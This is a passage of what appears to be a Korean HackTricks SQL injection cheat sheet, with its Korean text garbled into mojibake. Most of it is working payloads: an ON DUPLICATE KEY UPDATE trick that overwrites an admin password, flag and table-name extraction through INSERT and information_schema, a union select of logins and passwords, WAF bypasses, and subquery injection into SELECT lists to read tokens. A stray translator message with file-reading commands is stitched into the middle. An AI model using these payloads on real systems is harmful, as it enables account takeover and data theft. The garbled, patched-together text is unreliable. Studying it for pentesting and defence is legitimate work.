ํ๋ ค ํ ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ทจํ ๋์์ ์ง์ ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๋ค์ ์์๋ ์ด ๊ธฐ๋ฅ์ ์ด์ฉํด ๊ด๋ฆฌ์ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค:
Example Payload Injection:
๋ค์๊ณผ ๊ฐ์ด injection payload๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ๋ ํ์ users ํ
์ด๋ธ์ ์ฝ์
ํ๋ ค ์๋ํ๋ฉฐ, ์ฒซ ๋ฒ์งธ ํ์ ๋ฏธ๋ผ์ด๊ณ ๋ ๋ฒ์งธ ํ์ ๊ธฐ์กด ๊ด๋ฆฌ์ ๊ณ์ ์ ์ด๋ฉ์ผ์ ๋์์ผ๋ก ๋น๋ฐ๋ฒํธ๋ฅผ ์
๋ฐ์ดํธํ๋ ค๋ ๋ชฉ์ ์
๋๋ค:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Hereโs how it works:
- ์ด ์ฟผ๋ฆฌ๋ ๋ ๊ฐ์ ํ์ ์ฝ์
ํ๋ ค๊ณ ์๋ํฉ๋๋ค: ํ๋๋
generic_user@example.com์ฉ์ด๊ณ ๋ค๋ฅธ ํ๋๋admin_generic@example.com์ฉ์ ๋๋ค. admin_generic@example.com์ ๋ํ ํ์ด ์ด๋ฏธ ์กด์ฌํ๋ฉด,ON DUPLICATE KEY UPDATE์ ์ด ์คํ๋์ด MySQL์ ๊ธฐ์กด ํ์passwordํ๋๋ฅผ โbcrypt_hash_of_newpasswordโ๋ก ์ ๋ฐ์ดํธํ๋๋ก ์ง์ํฉ๋๋ค.- ๊ฒฐ๊ณผ์ ์ผ๋ก
admin_generic@example.com๊ณผ bcrypt ํด์์ ์ผ์นํ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํ์ฌ ์ธ์ฆ์ ์๋ํ ์ ์์ต๋๋ค (โbcrypt_hash_of_newpasswordโ๋ ์ ๋น๋ฐ๋ฒํธ์ bcrypt ํด์๋ฅผ ๋ํ๋ด๋ฉฐ, ์ํ๋ ๋น๋ฐ๋ฒํธ์ ์ค์ ํด์๋ก ๊ต์ฒดํด์ผ ํฉ๋๋ค).
์ ๋ณด ์ถ์ถ
๋์์ 2๊ฐ์ ๊ณ์ ์์ฑํ๊ธฐ
์ ์ฌ์ฉ์ ์์ฑ ์ username, password, email์ด ํ์ํฉ๋๋ค:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
์ญ์ง์ ๋๋ 16์ง์ ์ฌ์ฉ
์ด ๊ธฐ๋ฒ์ ์ฌ์ฉํ๋ฉด ๊ณ์ 1๊ฐ๋ง ์์ฑํด๋ ์ ๋ณด๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค. ์ค์ํ ์ ์ ์๋ฌด ๊ฒ๋ ์ฃผ์ ์ฒ๋ฆฌํ ํ์๊ฐ ์๋ค๋ ๊ฒ์ ๋๋ค.
๋ค์์ hex2dec์ substr ์ฌ์ฉ:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
์๋ฌธ ํ์ผ ๋ด์ฉ์ ์ ๊ณตํด ์ฃผ์ธ์. ๋ก์ปฌ์์ ํ์ผ์ ๊ฐ์ ธ์ค๋ ค๋ฉด ์๋ ๋ช ๋ น์ด ์ค ํ๋๋ฅผ ์ฌ์ฉํ์ธ์:
cat src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
bat --paging=never src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
gh repo clone <repo> && cat src/pentesting-web/sql-injection/README.md
ํ์ผ์ด ๋๋ฌด ํฌ๋ฉด ๋ฒ์ญํ ์น์ (ํค๋ ํฌํจ)๋ง ๋ถ์ฌ๋ฃ์ด ์ฃผ์ธ์. ๋ถ์ฌ์ฃผ์๋ฉด ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฝ๋๋ค.
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex์ replace (๋ฐ substr) ์ฌ์ฉ:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection์ injectable query๊ฐ ์ง์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ ์ฟผ๋ฆฌ๊ฐ ์๋๋ผ, injectable query์ ์ถ๋ ฅ์ด ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ ๋ค๋ฅธ ์ฟผ๋ฆฌ๋ก ์ ๋ฌ๋๋ ์ํฉ์ ๋งํ๋ค. (From Paper)
์์:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - ๊ณต๋ฐฑ ๋์ฒด๋ฅผ ์ด์ฉํ ์ฐํ
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - ์ฃผ์์ ์ฌ์ฉํ ์ฐํ
?id=1/*comment*/and/**/1=1/**/--
๊ณต๋ฐฑ ์์ - ๊ดํธ๋ฅผ ์ฌ์ฉํ ์ฐํ
?id=(1)and(1)=(1)--
์ฝค๋ง ์์ bypass
No Comma - bypass: OFFSET, FROM ๋ฐ JOIN ์ฌ์ฉ
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
์ผ๋ฐ์ ์ธ Bypasses
Blacklist๋ keywords๋ฅผ ์ฌ์ฉํจ โ bypass๋ uppercase/lowercase๋ก ์ฐํ
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
ํค์๋๋ฅผ ๋์๋ฌธ์ ๊ตฌ๋ถ ์์ด ๋ธ๋๋ฆฌ์คํธ ์ฒ๋ฆฌ โ ๋๋ฑ ์ฐ์ฐ์ ์ฌ์ฉ์ผ๋ก ์ฐํ
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
์ด ํธ๋ฆญ์ ๋ํ ๋ณด๋ค ์์ธํ ์ค๋ช
์ gosecure blog.
๊ธฐ๋ณธ์ ์ผ๋ก ์ง์ ํ๊ธฐ๋ฒ์ ์์์น ๋ชปํ ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ์ฌ WAF๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
์ปฌ๋ผ ์ด๋ฆ ์ ํ ์ฐํ
๋จผ์ , ์๋ ์ฟผ๋ฆฌ์ flag๋ฅผ ์ถ์ถํ๋ ค๋ ํ
์ด๋ธ์ ์ปฌ๋ผ ์๊ฐ ๋์ผํ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์๋ค๋ ์ ์ ์ ์ํ๋ผ: 0 UNION SELECT * FROM flag
์ด๋ฆ์ ์ฌ์ฉํ์ง ์๊ณ ํ
์ด๋ธ์ ์ธ ๋ฒ์งธ ์ปฌ๋ผ์ ์ ๊ทผํ๋ ๊ฒ์ด ๋ค์ ์ฟผ๋ฆฌ์ฒ๋ผ ๊ฐ๋ฅํ๋ค: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, ๋ฐ๋ผ์ sqlinjection์์๋ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ๊ฒ์ด๋ค:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
๋๋ comma bypass๋ฅผ ์ฌ์ฉ:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
์ด ํธ๋ฆญ์ https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/์์ ๊ฐ์ ธ์์ต๋๋ค
Column/tablename injection in SELECT list via subqueries
์ฌ์ฉ์ ์ ๋ ฅ์ด SELECT ๋ชฉ๋ก์ด๋ ํ ์ด๋ธ/์ปฌ๋ผ ์๋ณ์์ ๊ทธ๋๋ก ์ฐ๊ฒฐ(concatenate)๋๋ค๋ฉด, prepared statements๋ ๋์์ด ๋์ง ์์ต๋๋ค. bind parameters๋ ์๋ณ์๊ฐ ์๋๋ผ ๊ฐ๋ง ๋ณดํธํ๊ธฐ ๋๋ฌธ์ ๋๋ค. ํํ ์ทจ์ฝํ ํจํด์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
์ ์ฉ ์์ด๋์ด: ํ๋ ์์น(field position)์ subquery๋ฅผ ์ฃผ์ (inject)ํ์ฌ ์์์ ๋ฐ์ดํฐ๋ฅผ exfiltrateํฉ๋๋ค:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
์ฐธ๊ณ :
- ์ด๊ฒ์ WHERE clause๊ฐ bound parameter๋ฅผ ์ฌ์ฉํ ๋์๋ ์๋ํฉ๋๋ค. ์๋ํ๋ฉด identifier list๋ ์ฌ์ ํ string-concatenated ๋๊ธฐ ๋๋ฌธ์ ๋๋ค.
- ์ผ๋ถ ์คํ์ ์ถ๊ฐ๋ก table name์ ์ ์ดํ ์ ์๊ฒ ํ์ฉํ์ฌ (tablename injection), cross-table reads๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- Output sinks๋ ์ ํ๋ ๊ฐ์ HTML/JSON์ผ๋ก ๋ฐ์ํ ์ ์์ด ์๋ต์์ ์ง์ XSS ๋๋ token exfiltration์ ํ์ฉํ ์ ์์ต๋๋ค.
์ํ:
- ์ฌ์ฉ์ ์ ๋ ฅ์ผ๋ก๋ถํฐ identifiers๋ฅผ ์ ๋ concatenateํ์ง ๋ง์ธ์. ํ์ฉ๋ column names๋ฅผ ๊ณ ์ ๋ allow-list์ ๋งคํํ๊ณ identifiers๋ฅผ ์ ์ ํ quoteํ์ธ์.
- dynamic table access๊ฐ ํ์ํ ๊ฒฝ์ฐ, ์ ํํ ์งํฉ์ผ๋ก ์ ํํ๊ณ server-side์์ ์์ ํ ๋งคํ์ผ๋ก ํด๊ฒฐํ์ธ์.
WAF ์ฐํ ์ ์ ๋๊ตฌ
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
๊ธฐํ ๊ฐ์ด๋
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force ํ์ง ๋ชฉ๋ก
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


